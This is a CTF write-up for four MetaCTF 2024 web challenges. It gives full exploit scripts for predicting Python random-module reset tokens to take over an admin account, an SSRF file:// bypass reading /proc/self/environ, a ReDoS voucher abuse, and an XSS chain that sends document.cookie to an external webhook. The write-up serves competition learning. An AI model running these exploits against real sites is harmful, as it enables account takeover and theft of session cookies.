METACTF 2024 Web Challanges Write-Ups
Python Twister
Challange description:
Hack our admin.
Files: twister.zip
The app creates a list of 10,000 32-bit random numbers to use as password reset tokens for users. If you’re the first person to register, you’ll get the first number on the list, and then it gets removed. For the admin user, the app uses the random number at index 1499 for their reset token (admin-
Goal: Retrieve the admin password reset token to change their password and obtain the flag.
Steps to retrieve the admin password:
1- Quick research I found this GitHub repo https://github.com/tna0y/Python-random-module-cracker which predicts python’s random module generated values.
It obtains first 624 32 bit numbers from the generator and predicts the new random numbers
2- In our case we need to obtain 624 random numbers form the server and feed them to the cracker, and then predict the remaining values until we reach the 1499 random number.
3- Start by installing the cracker module
pip install randcrack
4- Write the script
Change URL variable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import time
from randcrack import RandCrack
import requests
import re
rc = RandCrack()
url="http://172.17.0.2:5000/"
for i in range(624):
# Register user
burp0_url = f"{url}register"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"{url}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"{url}", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive"}
burp0_data = {"username": f"{i}", "password": f"{i}"}
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
# Login
burp0_url = f"{url}login"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"{url}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"{url}", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive"}
burp0_data = {"username": f"{i}", "password": f"{i}"}
r=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
random_num=re.findall('token is \d*-(\d*)<',r.text)[0]
print(str(i)+" - "+random_num)
rc.submit(int(random_num)) # Feed cracker
time.sleep(0.03) # For server not to crash
# Predict random numbers
for j in range(875):
print(f"Predicting random number {j} - {rc.predict_randrange(0, 4294967295)}")
if j == 874 :
token=rc.predict_randrange(0, 4294967295)
print(f"Cracker result: {token}")
# Reset admin password
burp0_url = f"{url}reset_password"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"{url}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "Sec-GPC": "1", "Accept-Language": "en-US,en", "Referer": f"{url}/reset_password", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
burp0_data = {"reset_token": f"admin-{token}", "new_password": "pass"}
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
# Login as admin user and obtain flag
burp0_url = f"{url}login"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"{url}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"{url}", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive"}
burp0_data = {"username": f"admin", "password": f"pass"}
r=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(re.findall('METACTF{.*}',r.text)[0])
White
Challange description:
Our intel team has found a web page which looks innocuous, but seems to be hiding secrets locally…
White was an easy SSRF white list bypass challange.
1
file:///proc/self/environ#localhost:80
Scamming Factory (1/2)
Challange description:
I was looking for machines for my new factory and I came across this website It seems weird and it has a lot of ads popping up. Can you take a look at it for me?
Browsing the website normally shows a lot of ads, I tried to login but the adds keep poping, so I decided to check burpsuite history:
It looks like it is sending keystorkes (Keylogger) to /storeverysecretkeystokesdatabase?uid=5&key=a&field=
.
I sent the request to repeater, and modified some of the fields and got different response revealing another endpoint /getverysecretkeystokesdatabase
:
Sending GET request to the new endpoint I get all key strokes saved on the server, and the admin’s keystorkes were the flag.
Chamb
Challange description:
Are u rich?
Hint:
regex + timeout = $$
Files: chamb.zip
Application gives new users a $100 copun code to redeem only once, and can’t redeem other users’ copun codes.
Users can buy items, and the goal is to buy the flag item which price is $1337.
So I need some way to get more money.
After reviewing the source code, I found that after the user redeems the copun and the balance is updated a coulmn in the database called first_time
will be set to 1 to ensure the user can only redeem once, so I need a way to prevent the first_time
column form being set to 1.
Giving a closer look, I found that the process of redeeming the code is run in another process and it is set to timeout after 1 sec, and the app only checks for the vocher code validty with regex, so if the regex match can take more than 1 sec. then the process will timeout before updating the DB.
This can be achived by giving regex a large input.
https://book.hacktricks.xyz/pentesting-web/regular-expression-denial-of-service-redos
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
def redeem_voucher_process(username, voucher, result):
conn = get_db_connection()
cursor = conn.cursor()
cursor.execute('SELECT first_time FROM users WHERE username = %s', (username,))
first_time = cursor.fetchone()[0]
if first_time == 1:
result['response'] = ("You can redeem your voucher only once", 400)
cursor.close()
conn.close()
return
conn = get_db_connection()
cursor = conn.cursor()
try:
pattern = r"^zoz[-_.][a-zA-Z0-9]{3,5}[-_.](\d+)+$"
cursor.execute('UPDATE users SET balance = balance + 100 WHERE username = %s', (username,))
conn.commit()
print("hereee")
match = re.match(pattern, voucher)
print(voucher)
if match:
print("Voucher matched")
cursor.execute('UPDATE users SET first_time = 1 WHERE username = %s', (username,))
conn.commit()
result['response'] = ("Voucher redeemed, please refresh the page to view your balance", 200)
else:
cursor.execute('UPDATE users SET balance = balance - 100 WHERE username = %s', (username,))
conn.commit()
result['response'] = ("Invalid voucher", 400)
except Exception as e:
result['response'] = (str(e), 400)
finally:
cursor.close()
conn.close()
@app.route('/redeem_voucher', methods=['POST'])
def redeem_voucher():
username = session.get('username')
if not username:
return "User not logged in please refresh the page", 400
voucher = request.form.get('voucher')
if not voucher:
return "Voucher not provided", 400
result = multiprocessing.Manager().dict()
process = multiprocessing.Process(target=redeem_voucher_process, args=(username, voucher, result))
process.start()
timeout = 1
process.join(timeout)
if process.is_alive():
process.terminate()
process.join()
return "Something Went wrong", 400
return result['response'][0], result['response'][1]
Request:
Sending a request 2 times with this payload and checking the balance.
1
voucher=zoz-pxi.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a
Resend the request 12 times to get 1400 and buy the flag.
Buy flag:
Duck Store
Challange description:
Someone told me a story about ducks so i decided to make a website about it
Files: duckstores.zip
- Application supports uploading zip files conatining only one file, and send a report to the admin bot, the flag will be in the admin’s cookie.
- A CSP is present and only accepts scripts form the server, this can be bypassed if the user can upload files.
- File check for jpg can be bypassed as it only checks if jpg magic bytes exists in the file.
- Files that bypassed the checks are move to tmp, and this can be prevented by letting the
pngcheck
command issue an error when the zip file contianes a directory that contians the file or using symlinks.
Solve.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import os
import requests
import time
import re
url="http://42695d31-5f22-4352-8eb6-085fe23f97ea.cscpsut.com/"
webhook_url = "https://metactf2.requestcatcher.com/test".encode()
# Create javascrpt file with the marker needed to bypass the check
def write():
with open('exploit_dir/bypass.js', 'wb') as f:
script_content=b'window.location.href="'+webhook_url+b'?c="+document.cookie\n\n'
f.write(script_content)
marker1 = b'x=\'\xff\xd8\xff\xdb\''
f.write(marker1)
# Same check funtion form the challnge to chcek if the file created will pass.
def check():
marker1 = b'\xff\xd8\xff\xdb'
marker2 = b'\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01'
with open(f'exploit_dir/bypass.js', 'rb') as f:
content = f.read()
if marker1 not in content:
if marker2 not in content:
return False
return True
#
write()
print(check())
# Create zip file
os.system("zip -r exploit.zip exploit_dir")
# Upload zip file
upload_url = f'{url}/upload'
file_path = 'exploit.zip'
files = {'file': ('exploit.zip', open(file_path, 'rb'), 'application/zip')}
response = requests.post(upload_url, files=files)
currenttime=int(time.time())
print(response.status_code)
# Check the exact time on the server
for i in range(10):
if requests.get(f'{url}/uploads/{currenttime+i}/exploit_dir/bypass.js').status_code!=500:
print(f'{url}/uploads/{currenttime+i}/exploit_dir/bypass.js')
currenttime=currenttime+i
break
if requests.get(f'{url}/uploads/{currenttime-i}/exploit_dir/bypass.js').status_code!=500:
print(f'{url}/uploads/{currenttime-i}/exploit_dir/bypass.js')
currenttime=currenttime-i
break
# Submit contact form
burp0_url = f"{url}/contact"
burp0_data = {"name": "1", "email": "[email protected]", "message": f"<script src=\"/uploads/{str(currenttime)}/exploit_dir/bypass.js\"></script>", "submit": ''}
response=requests.post(burp0_url, data=burp0_data)
print(url+"/"+re.findall("(reports/.*) shortly",response.text)[0])